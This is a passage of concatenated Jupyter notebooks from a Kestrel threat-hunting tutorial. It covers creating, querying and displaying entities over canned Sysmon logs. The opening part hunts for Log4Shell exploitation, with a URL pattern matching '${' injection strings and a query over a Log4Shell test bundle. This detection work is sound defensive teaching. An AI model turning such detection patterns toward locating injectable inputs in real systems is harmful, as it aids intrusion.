VARIABLETYPE#(ENTITIES)#(RECORDS)artifact*ipv4-addr*mac-addr*network-traffic*x-ibm-finding*x-oca-event*x-qradar*
suspartifact10100000000

*Number of related records cached.

" 239 | ] 240 | }, 241 | "metadata": {}, 242 | "output_type": "display_data" 243 | } 244 | ], 245 | "source": [ 246 | "susp = GET artifact FROM logs WHERE [artifact:exploit LIKE '%']\n", 247 | "DISP susp ATTR id, first_observed, exploit, original" 248 | ] 249 | }, 250 | { 251 | "cell_type": "markdown", 252 | "id": "4638c75b", 253 | "metadata": {}, 254 | "source": [ 255 | "## Alternative searches\n", 256 | "\n", 257 | "You may want to search for more specific STIX Cyber Observables (SCOs) like `url` or `network-traffic` (which *may* use the `http-request-ext` extension, potentially giving you visibility into HTTP request headers like `User-Agent`.\n", 258 | "\n", 259 | "For URLs, you could try a pattern like `[url:value MATCHES '\\$\\{']` but URL encoding would cause it to miss." 260 | ] 261 | }, 262 | { 263 | "cell_type": "code", 264 | "execution_count": 4, 265 | "id": "cd0a307f", 266 | "metadata": {}, 267 | "outputs": [ 268 | { 269 | "data": { 270 | "text/html": [ 271 | "

Block Executed in 1 seconds

\n", 272 | " \n", 273 | " \n", 274 | " \n", 275 | " \n", 276 | " \n", 277 | " \n", 278 | " \n", 279 | " \n", 280 | " \n", 281 | " \n", 282 | " \n", 283 | " \n", 284 | " \n", 285 | " \n", 286 | " \n", 287 | " \n", 288 | "
VARIABLETYPE#(ENTITIES)#(RECORDS)
urlsurl00

*Number of related records cached.

" 289 | ] 290 | }, 291 | "metadata": {}, 292 | "output_type": "display_data" 293 | } 294 | ], 295 | "source": [ 296 | "urls = GET url\n", 297 | " FROM https://raw.githubusercontent.com/opencybersecurityalliance/kestrel-analytics/release/testdata/log4shell_bundle.json\n", 298 | " WHERE [url:value MATCHES '.*']" 299 | ] 300 | }, 301 | { 302 | "cell_type": "code", 303 | "execution_count": null, 304 | "id": "46fcc430", 305 | "metadata": {}, 306 | "outputs": [], 307 | "source": [] 308 | } 309 | ], 310 | "metadata": { 311 | "kernelspec": { 312 | "display_name": "Kestrel", 313 | "language": "kestrel", 314 | "name": "kestrel" 315 | }, 316 | "language_info": { 317 | "codemirror_mode": "kestrel", 318 | "name": "Kestrel" 319 | } 320 | }, 321 | "nbformat": 4, 322 | "nbformat_minor": 5 323 | } 324 | -------------------------------------------------------------------------------- /tutorial/0. Hello World Hunt.ipynb: -------------------------------------------------------------------------------- 1 | { 2 | "cells": [ 3 | { 4 | "cell_type": "markdown", 5 | "id": "22923fa3", 6 | "metadata": {}, 7 | "source": [ 8 | "# Hello World Hunt\n", 9 | "\n", 10 | "You will start your first cyber threat hunt in this hunt book and learn basic concepts of the [Kestrel threat hunting language](https://github.com/opencybersecurityalliance/kestrel-lang). If you are new to cyber threat hunting, or haven't heard about Kestrel, check out [What is Kestrel?](https://kestrel.readthedocs.io/en/latest/overview/) in [Kestrel documentation portal](https://kestrel.readthedocs.io/). Kestrel is announced at [RSA Conference 2021](https://www.rsaconference.com/Library/presentation/USA/2021/The%20Game%20of%20Cyber%20Threat%20Hunting%20The%20Return%20of%20the%20Fun), presented at [SANS Threat Hunting Summit 2021](https://www.youtube.com/watch?v=gyY5DAWLwT0), [BlackHat Europe 2021](https://www.blackhat.com/eu-21/arsenal/schedule/index.html#an-open-stack-for-threat-hunting-in-hybrid-cloud-with-connected-observability-25112), and demoed at [Infosec Jupyterthon 2021](https://www.youtube.com/watch?v=nMnHBnYfIaI&t=20557s)." 11 | ] 12 | }, 13 | { 14 | "cell_type": "markdown", 15 | "id": "19ef26e1", 16 | "metadata": {}, 17 | "source": [ 18 | "## What you will learn\n", 19 | "\n", 20 | "0. What are the basic concepts to orgainze a reusable/shareable hunt?\n", 21 | "1. How to use `NEW` command to create entities in a Kestrel variable?\n", 22 | "2. How to use `GET` command to retrieve a set of entities from a Kestrel variable?\n", 23 | "3. How to display entities in a Kestrel variable?\n", 24 | "4. How to execute the hello world hunt?\n", 25 | "5. Exercise: multi-hunt-step Jupyter cell" 26 | ] 27 | }, 28 | { 29 | "cell_type": "markdown", 30 | "id": "c738c0f5", 31 | "metadata": {}, 32 | "source": [ 33 | "### 0. What are the basic terminology/concepts to orgainze a reusable/shareable hunt?\n", 34 | "\n", 35 | "- [Record](https://kestrel.readthedocs.io/en/stable/language/tac.html#record): a.k.a. logs\n", 36 | "- [Entity](https://kestrel.readthedocs.io/en/stable/language/tac.html#entity): e.g., process, file, IP, register key\n", 37 | "- [Hunt](https://kestrel.readthedocs.io/en/stable/language/tac.html#hunt): the threat discovery procedure\n", 38 | "- [Hunt Step](https://kestrel.readthedocs.io/en/stable/language/tac.html#hunt-step): atom hunting operation\n", 39 | "- [Hunt Flow](https://kestrel.readthedocs.io/en/stable/language/tac.html#hunt-flow): business logic of a hunt\n", 40 | "- [Hunt Book](https://kestrel.readthedocs.io/en/stable/language/tac.html#huntbook): we are in a hunt book now\n", 41 | "- [Entity-Based Reasoning](https://kestrel.readthedocs.io/en/stable/language/tac.html#entity-based-reasoning): the model for reasoning in Kestrel\n", 42 | "- [Composable Hunt Flow](https://kestrel.readthedocs.io/en/stable/language/tac.html#composable-hunt-flow): the enabler of shrable and reusable hunts" 43 | ] 44 | }, 45 | { 46 | "cell_type": "markdown", 47 | "id": "bc1808ac", 48 | "metadata": {}, 49 | "source": [ 50 | "### 1. How to use `NEW` command to create entities in a Kestrel variable?" 51 | ] 52 | }, 53 | { 54 | "cell_type": "code", 55 | "execution_count": 1, 56 | "id": "bac9036a", 57 | "metadata": {}, 58 | "outputs": [ 59 | { 60 | "name": "stderr", 61 | "output_type": "stream", 62 | "text": [] 63 | }, 64 | { 65 | "data": { 66 | "text/html": [ 67 | "

Block Executed in 1 seconds

\n", 68 | " \n", 69 | " \n", 70 | " \n", 71 | " \n", 72 | " \n", 73 | " \n", 74 | " \n", 75 | " \n", 76 | " \n", 77 | " \n", 78 | " \n", 79 | " \n", 80 | " \n", 81 | " \n", 82 | " \n", 83 | " \n", 84 | " \n", 85 | " \n", 86 | "
VARIABLETYPE#(ENTITIES)#(RECORDS)process*
proclistprocess440

*Number of related records cached.

" 87 | ] 88 | }, 89 | "metadata": {}, 90 | "output_type": "display_data" 91 | } 92 | ], 93 | "source": [ 94 | "# create four process entities in Kestrel and store them in the variable `proclist`\n", 95 | "proclist = NEW process [ {\"name\": \"cmd.exe\", \"pid\": \"123\"}\n", 96 | " , {\"name\": \"explorer.exe\", \"pid\": \"99\"}\n", 97 | " , {\"name\": \"firefox.exe\", \"pid\": \"201\"}\n", 98 | " , {\"name\": \"chrome.exe\", \"pid\": \"205\"}\n", 99 | " ]" 100 | ] 101 | }, 102 | { 103 | "cell_type": "markdown", 104 | "id": "b5958aaa", 105 | "metadata": {}, 106 | "source": [ 107 | "### 2. How to use `GET` command to retrieve a set of entities from a Kestrel variable?" 108 | ] 109 | }, 110 | { 111 | "cell_type": "code", 112 | "execution_count": 2, 113 | "id": "ab29a91b", 114 | "metadata": {}, 115 | "outputs": [ 116 | { 117 | "name": "stderr", 118 | "output_type": "stream", 119 | "text": [] 120 | }, 121 | { 122 | "data": { 123 | "text/html": [ 124 | "

Block Executed in 1 seconds

\n", 125 | " \n", 126 | " \n", 127 | " \n", 128 | " \n", 129 | " \n", 130 | " \n", 131 | " \n", 132 | " \n", 133 | " \n", 134 | " \n", 135 | " \n", 136 | " \n", 137 | " \n", 138 | " \n", 139 | " \n", 140 | " \n", 141 | " \n", 142 | " \n", 143 | "
VARIABLETYPE#(ENTITIES)#(RECORDS)process*
browsersprocess220

*Number of related records cached.

" 144 | ] 145 | }, 146 | "metadata": {}, 147 | "output_type": "display_data" 148 | } 149 | ], 150 | "source": [ 151 | "# match a pattern of browser processes, and put the matched entities in variable `browsers`\n", 152 | "browsers = GET process FROM proclist WHERE name IN ('firefox.exe', 'chrome.exe')" 153 | ] 154 | }, 155 | { 156 | "cell_type": "markdown", 157 | "id": "e1a2ad73", 158 | "metadata": {}, 159 | "source": [ 160 | "### 3. How to display entities in a Kestrel variable?" 161 | ] 162 | }, 163 | { 164 | "cell_type": "code", 165 | "execution_count": 3, 166 | "id": "58037257", 167 | "metadata": {}, 168 | "outputs": [ 169 | { 170 | "name": "stderr", 171 | "output_type": "stream", 172 | "text": [] 173 | }, 174 | { 175 | "data": { 176 | "text/html": [ 177 | "\n", 178 | " \n", 179 | " \n", 180 | " \n", 181 | " \n", 182 | " \n", 183 | " \n", 184 | " \n", 185 | " \n", 186 | " \n", 187 | " \n", 188 | " \n", 189 | " \n", 190 | " \n", 191 | " \n", 192 | " \n", 193 | " \n", 194 | "
namepid
firefox.exe201
chrome.exe205
" 195 | ] 196 | }, 197 | "metadata": {}, 198 | "output_type": "display_data" 199 | } 200 | ], 201 | "source": [ 202 | "# display the information (attributes name, pid) of the entities in variable `browsers`\n", 203 | "DISP browsers ATTR name, pid" 204 | ] 205 | }, 206 | { 207 | "cell_type": "markdown", 208 | "id": "4aea91f5", 209 | "metadata": {}, 210 | "source": [ 211 | "### 4. How to execute the hello world hunt?\n", 212 | "\n", 213 | "To run the entire hunt book:\n", 214 | "- In the menu, choose `Kernel` -> `Restart & Run All`, or\n", 215 | "- In the tool bar right below the menu, click the *fast forward* (dual-triangle) button.\n", 216 | "\n", 217 | "To execute a single Jupyter cell with all hunt steps in it, go to the cell and press `Shift` + `Enter`.\n", 218 | "\n", 219 | "Note that the hunt steps with Kestrel variables may be dependent on previous hunt steps, e.g., the second hunt step (`GET process FROM proclist ...`) requires the first hunt step (`proclist = NEW ...`) to be executed, since the Kestrel variable `proclist` is referred from the first hunt step.\n", 220 | "\n", 221 | "When you lanuch the hunt book with the Kestrel kernel, or restart the kernel, a new Kestrel session is initialized with zero Kestrel variables established." 222 | ] 223 | }, 224 | { 225 | "cell_type": "markdown", 226 | "id": "ed343a77", 227 | "metadata": {}, 228 | "source": [ 229 | "### 5. Exercise: multi-hunt-step Jupyter cell\n", 230 | "\n", 231 | "A Jupyter Notebook cell can host any number of Kestrel hunt steps. Copy the three hunt steps above into the single cell below and execute them together." 232 | ] 233 | }, 234 | { 235 | "cell_type": "code", 236 | "execution_count": null, 237 | "id": "dc09db75", 238 | "metadata": {}, 239 | "outputs": [], 240 | "source": [] 241 | } 242 | ], 243 | "metadata": { 244 | "kernelspec": { 245 | "display_name": "Kestrel", 246 | "language": "kestrel", 247 | "name": "kestrel" 248 | }, 249 | "language_info": { 250 | "file_extension": ".hf", 251 | "name": "kestrel" 252 | } 253 | }, 254 | "nbformat": 4, 255 | "nbformat_minor": 5 256 | } 257 | -------------------------------------------------------------------------------- /tutorial/1. Query a Data Source.ipynb: -------------------------------------------------------------------------------- 1 | { 2 | "cells": [ 3 | { 4 | "cell_type": "markdown", 5 | "id": "ebd7b6d2", 6 | "metadata": {}, 7 | "source": [ 8 | "# Query a Data Source\n", 9 | "\n", 10 | "In real-world hunts, the first thing to do is to get data from a data source such as a EDR, a SIEM, a firewall, so you can further analyze data, filter data, merge data, or form your new queries. In this hunt book, you will learn how to use the [GET](https://kestrel.readthedocs.io/en/stable/language/commands.html#get) command to retrieve data from a data source." 11 | ] 12 | }, 13 | { 14 | "cell_type": "markdown", 15 | "id": "c968c7c6", 16 | "metadata": {}, 17 | "source": [ 18 | "## What you will learn\n", 19 | "\n", 20 | "0. How to setup data sources?\n", 21 | "1. How to `GET` data from a data source?\n", 22 | "2. How to `GET` data from a Kestrel variable?\n", 23 | "3. How to refer to a Kestrel variable in a `GET` command?\n", 24 | "4. How to combine `NEW` and `GET` in a hunt flow?\n", 25 | "5. Exercise: get Windows scheduler processes directly" 26 | ] 27 | }, 28 | { 29 | "cell_type": "markdown", 30 | "id": "b19e0582", 31 | "metadata": {}, 32 | "source": [ 33 | "### 0. How to setup data sources?\n", 34 | "\n", 35 | "Skip the data source setup if you just want to try Kestrel and learn basic concepts in this huntbook. You will be using a canned data source here:\n", 36 | "```\n", 37 | "file:///tmp/lab101.json\n", 38 | "```\n", 39 | "\n", 40 | "For real-world hunts in your orgainzation, you need to deploy Kestrel and connect your data sources:\n", 41 | "1. [Install Kestrel runtime](https://kestrel.readthedocs.io/en/latest/installation/runtime.html)\n", 42 | "2. [Connect to Data Sources](https://kestrel.readthedocs.io/en/latest/installation/datasource.html)" 43 | ] 44 | }, 45 | { 46 | "cell_type": "markdown", 47 | "id": "84252315", 48 | "metadata": {}, 49 | "source": [ 50 | "### 1. How to `GET` data from a data source?\n", 51 | "\n", 52 | "Given the canned data `file:///tmp/lab101.json`, which packs Sysmon logs from a Windows 10 host on 2021-04-03, you will learn how to write a `GET` command: query the data source and retrieve `svchost.exe` processes.\n", 53 | "\n", 54 | "Basically, `GET` retrieves a type of entities regarding the criteria given in the `WHERE` clause against the data source specified in `FROM`. In another word, this is a query to match entities in the pattern defined in `WHERE`. Visit the [language specification of GET](https://kestrel.readthedocs.io/en/stable/language/commands.html#get) to learn more about the syntax and usage, and visit the [entity in Kestrel](https://kestrel.readthedocs.io/en/stable/language/eav.html#entities-in-kestrel) page to find which entity and which attribute are supported." 55 | ] 56 | }, 57 | { 58 | "cell_type": "code", 59 | "execution_count": 1, 60 | "id": "4c43bc7c", 61 | "metadata": {}, 62 | "outputs": [ 63 | { 64 | "name": "stderr", 65 | "output_type": "stream", 66 | "text": [] 67 | }, 68 | { 69 | "data": { 70 | "text/html": [ 71 | "

Block Executed in 3 seconds

\n", 72 | " \n", 73 | " \n", 74 | " \n", 75 | " \n", 76 | " \n", 77 | " \n", 78 | " \n", 79 | " \n", 80 | " \n", 81 | " \n", 82 | " \n", 83 | " \n", 84 | " \n", 85 | " \n", 86 | " \n", 87 | " \n", 88 | " \n", 89 | " \n", 90 | " \n", 91 | " \n", 92 | " \n", 93 | " \n", 94 | " \n", 95 | " \n", 96 | " \n", 97 | " \n", 98 | " \n", 99 | " \n", 100 | " \n", 101 | " \n", 102 | " \n", 103 | " \n", 104 | " \n", 105 | " \n", 106 | " \n", 107 | " \n", 108 | " \n", 109 | " \n", 110 | " \n", 111 | " \n", 112 | " \n", 113 | " \n", 114 | " \n", 115 | " \n", 116 | " \n", 117 | " \n", 118 | "
VARIABLETYPE#(ENTITIES)#(RECORDS)directory*file*ipv4-addr*ipv6-addr*mac-addr*network-traffic*process*user-account*x-ecs-destination*x-ecs-network*x-ecs-process*x-ecs-source*x-ecs-user*x-oca-asset*x-oca-event*
svchostprocess38953310781114319019101066101472510622016201621202024212410662132

*Number of related records cached.

" 119 | ] 120 | }, 121 | "metadata": {}, 122 | "output_type": "display_data" 123 | } 124 | ], 125 | "source": [ 126 | "svchost = GET process\n", 127 | " FROM file:///tmp/lab101.json\n", 128 | " WHERE name = 'svchost.exe'\n", 129 | " START 2021-04-03T00:00:00Z STOP 2021-04-03T02:00:00Z" 130 | ] 131 | }, 132 | { 133 | "cell_type": "markdown", 134 | "id": "887bb13b", 135 | "metadata": {}, 136 | "source": [ 137 | "### 2. How to `GET` data from a Kestrel variable?\n", 138 | "\n", 139 | "`GET` can be used against a data source or a Kestrel variable, both are _a pool of entities_. The differences are:\n", 140 | "- A data source contains multiple types of entities, while a Kestrel variable only has one type.\n", 141 | "- The execution of `GET` against a data source sends queries to the data source, while the execution of `GET` against a Kestrel variable is performed on the local cache of the variable.\n", 142 | "\n", 143 | "In the first task, you get all `svchost.exe` processes. Let's get a subset of them that are Windows schedulers, which have argument or command line `-k netsvcs -p -s Schedule`." 144 | ] 145 | }, 146 | { 147 | "cell_type": "code", 148 | "execution_count": 2, 149 | "id": "f6e065b8", 150 | "metadata": {}, 151 | "outputs": [ 152 | { 153 | "name": "stderr", 154 | "output_type": "stream", 155 | "text": [] 156 | }, 157 | { 158 | "data": { 159 | "text/html": [ 160 | "

Block Executed in 1 seconds

\n", 161 | " \n", 162 | " \n", 163 | " \n", 164 | " \n", 165 | " \n", 166 | " \n", 167 | " \n", 168 | " \n", 169 | " \n", 170 | " \n", 171 | " \n", 172 | " \n", 173 | " \n", 174 | " \n", 175 | " \n", 176 | " \n", 177 | " \n", 178 | " \n", 179 | " \n", 180 | " \n", 181 | " \n", 182 | " \n", 183 | " \n", 184 | " \n", 185 | " \n", 186 | " \n", 187 | " \n", 188 | " \n", 189 | " \n", 190 | " \n", 191 | " \n", 192 | " \n", 193 | " \n", 194 | " \n", 195 | " \n", 196 | " \n", 197 | " \n", 198 | " \n", 199 | " \n", 200 | " \n", 201 | " \n", 202 | " \n", 203 | " \n", 204 | " \n", 205 | " \n", 206 | " \n", 207 | "
VARIABLETYPE#(ENTITIES)#(RECORDS)directory*file*ipv4-addr*ipv6-addr*mac-addr*network-traffic*process*user-account*x-ecs-destination*x-ecs-network*x-ecs-process*x-ecs-source*x-ecs-user*x-oca-asset*x-oca-event*
schedulerprocess1818000000000000000

*Number of related records cached.

" 208 | ] 209 | }, 210 | "metadata": {}, 211 | "output_type": "display_data" 212 | } 213 | ], 214 | "source": [ 215 | "scheduler = GET process\n", 216 | " FROM svchost\n", 217 | " WHERE command_line = 'C:\\Windows\\system32\\svchost.exe -k netsvcs -p -s Schedule'" 218 | ] 219 | }, 220 | { 221 | "cell_type": "markdown", 222 | "id": "65809abe", 223 | "metadata": {}, 224 | "source": [ 225 | "Or use a simpler syntax (for getting from a variable):" 226 | ] 227 | }, 228 | { 229 | "cell_type": "code", 230 | "execution_count": 3, 231 | "id": "dd869aee", 232 | "metadata": {}, 233 | "outputs": [ 234 | { 235 | "name": "stderr", 236 | "output_type": "stream", 237 | "text": [] 238 | }, 239 | { 240 | "data": { 241 | "text/html": [ 242 | "

Block Executed in 1 seconds

\n", 243 | " \n", 244 | " \n", 245 | " \n", 246 | " \n", 247 | " \n", 248 | " \n", 249 | " \n", 250 | " \n", 251 | " \n", 252 | " \n", 253 | " \n", 254 | " \n", 255 | " \n", 256 | " \n", 257 | " \n", 258 | " \n", 259 | " \n", 260 | " \n", 261 | " \n", 262 | " \n", 263 | " \n", 264 | " \n", 265 | " \n", 266 | " \n", 267 | " \n", 268 | " \n", 269 | " \n", 270 | " \n", 271 | " \n", 272 | " \n", 273 | " \n", 274 | " \n", 275 | " \n", 276 | " \n", 277 | " \n", 278 | " \n", 279 | " \n", 280 | " \n", 281 | " \n", 282 | " \n", 283 | " \n", 284 | " \n", 285 | " \n", 286 | " \n", 287 | " \n", 288 | " \n", 289 | "
VARIABLETYPE#(ENTITIES)#(RECORDS)directory*file*ipv4-addr*ipv6-addr*mac-addr*network-traffic*process*user-account*x-ecs-destination*x-ecs-network*x-ecs-process*x-ecs-source*x-ecs-user*x-oca-asset*x-oca-event*
scheduler2process1818000000000000000

*Number of related records cached.

" 290 | ] 291 | }, 292 | "metadata": {}, 293 | "output_type": "display_data" 294 | } 295 | ], 296 | "source": [ 297 | "# this is equivalent to the previous Kestrel statement, i.e., scheduler == scheduler2\n", 298 | "scheduler2 = svchost WHERE command_line = 'C:\\Windows\\system32\\svchost.exe -k netsvcs -p -s Schedule'" 299 | ] 300 | }, 301 | { 302 | "cell_type": "markdown", 303 | "id": "5b32327f", 304 | "metadata": {}, 305 | "source": [ 306 | "### 3. How to refer to a Kestrel variable in a `GET` command?\n", 307 | "\n", 308 | "You just created a pattern (the `WHERE` clause) from a single [Comparison Expression](https://kestrel.readthedocs.io/en/stable/language/ecgp.html#single-comparison-expression-pattern). You can describe [multiple attributes](https://kestrel.readthedocs.io/en/stable/language/ecgp.html#single-node-graph-pattern) of an [entity](https://kestrel.readthedocs.io/en/stable/language/tac.html#entity) in a pattern, or even multiple entities as a [connected graph pattern](https://kestrel.readthedocs.io/en/stable/language/ecgp.html#centered-graph-pattern).\n", 309 | "\n", 310 | "An advanced syntax in building a Kestrel pattern is to refer to existing variables. This is useful when you want to create new hunt steps based on the previous ones, bring data/knowledge from other Kestrel variables (will learn in the next task), or hunt across multiple data sources.\n", 311 | "\n", 312 | "Next, you will get all processes with the same name as `scheduler` but not same `PID` of `scheduler2`. Instead of writing the process name (`svchost.exe` as a string explicitly) and the `PID` (an integer explicitly) of `scheduler2`, you can do:" 313 | ] 314 | }, 315 | { 316 | "cell_type": "code", 317 | "execution_count": 4, 318 | "id": "5e652e6b", 319 | "metadata": {}, 320 | "outputs": [ 321 | { 322 | "name": "stderr", 323 | "output_type": "stream", 324 | "text": [] 325 | }, 326 | { 327 | "data": { 328 | "text/html": [ 329 | "

Block Executed in 2 seconds

\n", 330 | " \n", 331 | " \n", 332 | " \n", 333 | " \n", 334 | " \n", 335 | " \n", 336 | " \n", 337 | " \n", 338 | " \n", 339 | " \n", 340 | " \n", 341 | " \n", 342 | " \n", 343 | " \n", 344 | " \n", 345 | " \n", 346 | " \n", 347 | " \n", 348 | " \n", 349 | " \n", 350 | " \n", 351 | " \n", 352 | " \n", 353 | " \n", 354 | " \n", 355 | " \n", 356 | " \n", 357 | " \n", 358 | " \n", 359 | " \n", 360 | " \n", 361 | " \n", 362 | " \n", 363 | " \n", 364 | " \n", 365 | " \n", 366 | " \n", 367 | " \n", 368 | " \n", 369 | " \n", 370 | " \n", 371 | " \n", 372 | " \n", 373 | " \n", 374 | " \n", 375 | " \n", 376 | "
VARIABLETYPE#(ENTITIES)#(RECORDS)directory*file*ipv4-addr*ipv6-addr*mac-addr*network-traffic*process*user-account*x-ecs-destination*x-ecs-network*x-ecs-process*x-ecs-source*x-ecs-user*x-oca-asset*x-oca-event*
svchost_otherprocess371515159416354749284715811521126415754536453646804554468915814707

*Number of related records cached.

" 377 | ] 378 | }, 379 | "metadata": {}, 380 | "output_type": "display_data" 381 | } 382 | ], 383 | "source": [ 384 | "svchost_other = GET process\n", 385 | " FROM file:///tmp/lab101.json\n", 386 | " WHERE name = scheduler.name AND pid != scheduler2.pid\n", 387 | " START 2021-04-03T00:00:00Z STOP 2021-04-03T02:00:00Z" 388 | ] 389 | }, 390 | { 391 | "cell_type": "markdown", 392 | "id": "257f9441", 393 | "metadata": {}, 394 | "source": [ 395 | "You get 371 entities. Let's see if the number is right: `371 = 389 - 18`\n", 396 | "- 371: number of processes in `svchost_other`\n", 397 | "- 389: number of processes in `svchost`\n", 398 | "- 18: number of processes in `scheduler2`\n", 399 | "\n", 400 | "If you write the `GET` command against a new data source, then you can perform the hunt across two data sources. This is the common technique to hunt across multiple data sources such as firewall logs and EDR systems, e.g. in our RSA demo of a [cross-host APT hunt](https://www.youtube.com/watch?v=tASFWZfD7l8)." 401 | ] 402 | }, 403 | { 404 | "cell_type": "markdown", 405 | "id": "1842f819", 406 | "metadata": {}, 407 | "source": [ 408 | "### 4. How to combine `NEW` and `GET` in a hunt flow?\n", 409 | "\n", 410 | "You may want to find `network-traffic` with a source/destination IP address. You can simply write the IP in the `WHERE` clause of the `GET`, but you need to write the same string again if you need it in another `GET`. Is there a way to store the IP address in a Kestrel variable and refer to it in the following hunt?\n", 411 | "\n", 412 | "Note a Kestrel variable is a list of entities, and it cannot hold a string. However, you can `NEW` an `ipv4-addr` or `ipv6-addr` entity with the IP addresses as its attribute into a Kestrel variable." 413 | ] 414 | }, 415 | { 416 | "cell_type": "code", 417 | "execution_count": 5, 418 | "id": "800e9cae", 419 | "metadata": {}, 420 | "outputs": [ 421 | { 422 | "name": "stderr", 423 | "output_type": "stream", 424 | "text": [] 425 | }, 426 | { 427 | "data": { 428 | "text/html": [ 429 | "

Block Executed in 1 seconds

\n", 430 | " \n", 431 | " \n", 432 | " \n", 433 | " \n", 434 | " \n", 435 | " \n", 436 | " \n", 437 | " \n", 438 | " \n", 439 | " \n", 440 | " \n", 441 | " \n", 442 | " \n", 443 | " \n", 444 | " \n", 445 | " \n", 446 | " \n", 447 | " \n", 448 | " \n", 449 | " \n", 450 | " \n", 451 | " \n", 452 | " \n", 453 | " \n", 454 | " \n", 455 | " \n", 456 | " \n", 457 | " \n", 458 | " \n", 459 | " \n", 460 | " \n", 461 | " \n", 462 | " \n", 463 | " \n", 464 | " \n", 465 | " \n", 466 | " \n", 467 | " \n", 468 | " \n", 469 | " \n", 470 | " \n", 471 | " \n", 472 | " \n", 473 | " \n", 474 | " \n", 475 | " \n", 476 | " \n", 477 | " \n", 478 | " \n", 479 | " \n", 480 | " \n", 481 | " \n", 482 | " \n", 483 | " \n", 484 | " \n", 485 | " \n", 486 | " \n", 487 | " \n", 488 | " \n", 489 | " \n", 490 | " \n", 491 | " \n", 492 | " \n", 493 | " \n", 494 | " \n", 495 | " \n", 496 | " \n", 497 | "
VARIABLETYPE#(ENTITIES)#(RECORDS)directory*file*ipv4-addr*ipv6-addr*mac-addr*network-traffic*process*user-account*x-ecs-destination*x-ecs-network*x-ecs-process*x-ecs-source*x-ecs-user*x-oca-asset*x-oca-event*
winlaptop141ipv4-addr1533000000000000000
nt_src141network-traffic2329162316644836287616101527166416044739473948834757489216104910

*Number of related records cached.

" 498 | ] 499 | }, 500 | "metadata": {}, 501 | "output_type": "display_data" 502 | } 503 | ], 504 | "source": [ 505 | "winlaptop141 = NEW ipv4-addr [\"10.171.5.141\"]\n", 506 | "\n", 507 | "nt_src141 = GET network-traffic\n", 508 | " WHERE src_ref.value = winlaptop141.value\n", 509 | " START 2021-04-03T00:00:00Z STOP 2021-04-04T00:00:00Z" 510 | ] 511 | }, 512 | { 513 | "cell_type": "markdown", 514 | "id": "6f727ae0", 515 | "metadata": {}, 516 | "source": [ 517 | "Note that you omit the `FROM` clause in the `GET`, which will default to the last data source (`file:///tmp/lab101.json`) you executed in the hunt.\n", 518 | "\n", 519 | "To automate hunts, you can even go further, not to `NEW` a `ipv4-addr` variable, but to load the IP or IP list from a file on disk directly into a Kestrel variable. In this way, the huntbook can be automated with parameters in each run. Check the [LOAD](https://kestrel.readthedocs.io/en/stable/language/commands.html#load) command, which is discussed in another huntbook in this tutorial." 520 | ] 521 | }, 522 | { 523 | "cell_type": "markdown", 524 | "id": "30ca812e", 525 | "metadata": {}, 526 | "source": [ 527 | "### 5. Exercise: get network-traffic with destination IP\n", 528 | "\n", 529 | "Can you get `network-traffic` with destination IP `13.86.101.172` on the day `2021-04-03` from the same data source?\n", 530 | "\n", 531 | "Tip: if you want to omit the `FROM` clause, you need to execute any hunt step in this hunt book with `FROM` first.\\\n", 532 | "Tip: the destination IP attribute of `network-traffic` is `dst_ref.value`." 533 | ] 534 | }, 535 | { 536 | "cell_type": "code", 537 | "execution_count": null, 538 | "id": "a58da2f1", 539 | "metadata": {}, 540 | "outputs": [], 541 | "source": [] 542 | } 543 | ], 544 | "metadata": { 545 | "kernelspec": { 546 | "display_name": "Kestrel", 547 | "language": "kestrel", 548 | "name": "kestrel" 549 | }, 550 | "language_info": { 551 | "file_extension": ".hf", 552 | "name": "kestrel" 553 | } 554 | }, 555 | "nbformat": 4, 556 | "nbformat_minor": 5 557 | } 558 | -------------------------------------------------------------------------------- /tutorial/2. Inspect a Variable.ipynb: -------------------------------------------------------------------------------- 1 | { 2 | "cells": [ 3 | { 4 | "cell_type": "markdown", 5 | "id": "478f17d4", 6 | "metadata": {}, 7 | "source": [ 8 | "# Inspect a Variable\n", 9 | "\n", 10 | "After you `GET` entities from data sources, the obvious next step is to inspect them, conceive the next hunt steps, and create/revise the threat hypothesis." 11 | ] 12 | }, 13 | { 14 | "cell_type": "markdown", 15 | "id": "f446afe4", 16 | "metadata": {}, 17 | "source": [ 18 | "## What you will learn\n", 19 | "\n", 20 | "0. What are the inspection commands?\n", 21 | "1. How to show information like attributes of a variable?\n", 22 | "2. How to display entities with complete information in a variable?\n", 23 | "3. How to display select attributes of entities in a variable?\n", 24 | "4. What are the common attributes for a type of entitiy?\n", 25 | "5. Exercise: get and disp remote IPs from the monitored host" 26 | ] 27 | }, 28 | { 29 | "cell_type": "markdown", 30 | "id": "763121ca", 31 | "metadata": {}, 32 | "source": [ 33 | "### 0. What are the inspection commands?\n", 34 | "\n", 35 | "Kestrel has two command to inspect entities in a variable:\n", 36 | "- show details of a variable with [INFO](https://kestrel.readthedocs.io/en/stable/language/commands.html#info)\n", 37 | "- display entities in a variable with [DISP](https://kestrel.readthedocs.io/en/stable/language/commands.html#disp)" 38 | ] 39 | }, 40 | { 41 | "cell_type": "markdown", 42 | "id": "68c4a2e3", 43 | "metadata": {}, 44 | "source": [ 45 | "### 1. How to show information like attributes of a variable?\n", 46 | "\n", 47 | "Once you have a variable `varx`, just `INFO varx` to show all details such as attributes of the entities:" 48 | ] 49 | }, 50 | { 51 | "cell_type": "code", 52 | "execution_count": 1, 53 | "id": "d467d9d6", 54 | "metadata": {}, 55 | "outputs": [ 56 | { 57 | "name": "stderr", 58 | "output_type": "stream", 59 | "text": [] 60 | }, 61 | { 62 | "data": { 63 | "text/html": [ 64 | "\n", 65 | " \n", 66 | " \n", 67 | " \n", 68 | " \n", 69 | " \n", 70 | " \n", 71 | " \n", 72 | " \n", 73 | " \n", 74 | " \n", 75 | " \n", 76 | " \n", 77 | " \n", 78 | " \n", 79 | " \n", 80 | " \n", 81 | " \n", 82 | " \n", 83 | " \n", 84 | " \n", 85 | " \n", 86 | " \n", 87 | " \n", 88 | " \n", 89 | " \n", 90 | " \n", 91 | " \n", 92 | " \n", 93 | " \n", 94 | " \n", 95 | " \n", 96 | " \n", 97 | " \n", 98 | " \n", 99 | " \n", 100 | " \n", 101 | " \n", 102 | " \n", 103 | "
Entity Typeprocess
Number of Entities18
Number of Records18
Entity Attributesname, pid, command_line, id
Indirect Attributes[]
Customized Attributes
Birth Commandget
Associated Datasourcefile:///tmp/lab101.json
Dependent Variables
\n", 104 | "

Block Executed in 1 seconds

